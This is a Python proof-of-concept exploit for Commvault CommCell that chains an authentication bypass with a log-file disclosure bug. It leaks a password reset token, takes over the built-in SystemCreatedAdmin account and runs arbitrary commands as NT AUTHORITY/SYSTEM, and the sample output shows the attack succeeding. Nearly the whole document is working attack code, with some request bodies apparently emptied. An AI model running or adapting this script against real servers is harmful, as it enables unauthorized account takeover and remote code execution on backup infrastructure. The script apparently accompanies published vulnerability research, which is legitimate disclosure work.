#!/usr/bin/env python3 """ Commvault Commcell CVAuthHttpModule OnEnter Authentication Bypass Vulnerability Download: https://downloadcenter.commvault.com/CVDownloadCenter/11.0/build80/Bootstrappers/SP22/CommvaultExpress_Media_11_22.exe?__cv__=1621244407_f429a2139f351674cb6292da156843ea&ext=.exe Installer: CommvaultExpress_Media_11_22.exe SHA1(CommvaultExpress_Media_11_22.exe)= a0c3a652fa69f96c2f7e7559b51309034709ac02 Found by: Justin Kennedy, Brandon Perry and Steven Seeley Bug 1: https://www.zerodayinitiative.com/advisories/ZDI-21-1328/ Bug 2: https://www.zerodayinitiative.com/advisories/ZDI-21-1331/ # Notes This exploit: - ...is a combination of two bugs to achieve authentication bypass 1. CVAuthHttpModule OnEnter Partial Authentication Bypass 2. CVSearchSvc downLoadFile File Disclosure - ...will reset the SystemCreatedAdmin user accounts password to Sup3rPWD123!! so this is LOUD. - ...will trigger an RCE in the Demo_ExecuteProcessOnGroup component, to ensure it achieves SYSTEM access instead of NETWORK SERVICE :-> # Example researcher@neophyte:~$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.184.142 mspaint researcher@neophyte:~$ ./poc.py 192.168.184.142 mspaint (+) triggering password reset token for SystemCreatedAdmin... (+) password reset token logged! (+) leaking password reset token... (+) leaked reset token: 3878c9e543ce057c8ad95ace6504e71338f492d488d20e058831469413d5db487740ccd1295da6993374f82c4c9f7a59b (+) reseting SystemCreatedAdmin's password... (+) done! reset the password to: U3VwM3JQV0QxMjMhIQ== (+) logging in... (+) logged in! obtained encrypted token (+) triggering rce... (+) done! executed command: "mspaint" as NT AUTHORITY/SYSTEM """ import requests import sys import urllib3 import base64 import re from lxml.etree import fromstring urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def trigger_pwd_reset_token(t): uri = "https://%s/webconsole/" % t s = requests.Session() s.get("%slogin/index.jsp" % uri, verify=False) r = s.get("%sTFAStatus.do" % uri, params={"username":"SystemCreatedAdmin"}, verify=False) assert r.status_code == 200, "(-) password reset failed during setup!" d = {"username":"SystemCreatedAdmin"} h = {"X-CSRF-Token": s.cookies['csrf']} r = s.post("%sresetPassword.do" % uri, data=d, headers=h, verify=False) assert r.status_code == 200, "(-) password reset failed!" return s def leak_reset_token(t): uri = "http://%s:81/SearchSvc/CVSearchService.svc" % t h = { "cookie" : "Login", # partial auth bypass "soapaction" : "http://tempuri.org/ICVSearchSvc/downLoadFile", "content-type" : "text/xml" } d = """ c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log """ r = requests.post(uri, data=d, headers=h) assert r.status_code == 200, "(-) log leak failed!" assert r.headers['content-type'] == "text/xml; charset=utf-8", "(-) invalid xml response from the log leak!" xml = fromstring(r.text.encode('utf-8')) ns = { "s":"http://schemas.xmlsoap.org/soap/envelope/", "d":"http://tempuri.org/" } dfr = xml.xpath('//s:Envelope//s:Body//d:downLoadFileResponse//d:downLoadFileResult', namespaces=ns).pop() webserverlog = base64.b64decode(dfr.text.encode('utf-8')) matches = re.findall("gid=(.*)", webserverlog.decode("utf-8") ) assert len(matches) > 0, "(-) no reset token found in the log?" r = requests.get("https://%s/webconsole/gtl.do" % t, params={"gid":matches.pop()}, allow_redirects=False, verify=False) match = re.search("tk=(.*)", r.headers["location"]) assert match !=None, "(-) couldn't leak password reset token from 302!" return match.group(1) def reset_password(s, t, tkn, pwd): uri = "https://%s/webconsole/resetPasswordReq.do" % t d = { "password": pwd, "token": tkn } h = {"X-CSRF-Token": s.cookies['csrf']} r = s.post(uri, data=d, headers=h, verify=False) assert r.status_code == 200, "(-) password reset failed!" def login(t, pwd): uri = "http://%s:81/SearchSvc/CVWebService.svc/Login" % t d = """""" % pwd r = requests.post(uri, data=d) assert r.status_code == 200, "(-) login failed!" xml = fromstring(r.text.encode('utf-8')) ccr = xml.xpath('/DM2ContentIndexing_CheckCredentialResp').pop() assert ccr.attrib["token"].startswith("QSDK"), "(-) failed to obtain QSDK token when logging in!" return ccr.attrib["token"] def trigger_workflow(t, qsdk, cmd): uri = "https://%s/webconsole/api/Workflow/Demo_ExecuteProcessOnGroup/Action/Execute" % t h = { "content-type" : "application/json", "authtoken" : qsdk } j = { "Workflow_StartWorkflow": { "outputFormat": "", "options": { "inputs": { "clientGroup": "Infrastructure", "processName": cmd, # we are already in the cmd interpreter "arguments": "", "startupPath":"", "impersonateUserName":"", "impersonateUserPassword":"", } }, "client": { "clientName": "" } } } r = requests.post(uri, json=j, headers=h, verify=False) assert r.status_code == 200, "(-) rce failed!" def main(): if len(sys.argv) != 3: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.184.142 mspaint" % sys.argv[0]) sys.exit(1) t = sys.argv[1] c = sys.argv[2] pwd = "Sup3rPWD123!!" # change this for whatever you like pwd = base64.b64encode(pwd.encode("utf-8")).decode("utf-8") print("(+) triggering password reset token for SystemCreatedAdmin...") s = trigger_pwd_reset_token(t) print("(+) password reset token logged!") print("(+) leaking password reset token...") token = leak_reset_token(t) print("(+) leaked reset token: %s" % token) print("(+) reseting SystemCreatedAdmin's password...") reset_password(s, t, token, pwd) print("(+) done! reset the password to: %s" % pwd) print("(+) logging in...") qsdk = login(t, pwd) print("(+) logged in! obtained encrypted token") print("(+) triggering rce...") trigger_workflow(t, qsdk, c) print("(+) done! executed command: \"%s\" as NT AUTHORITY/SYSTEM" % c) if __name__ == "__main__": main()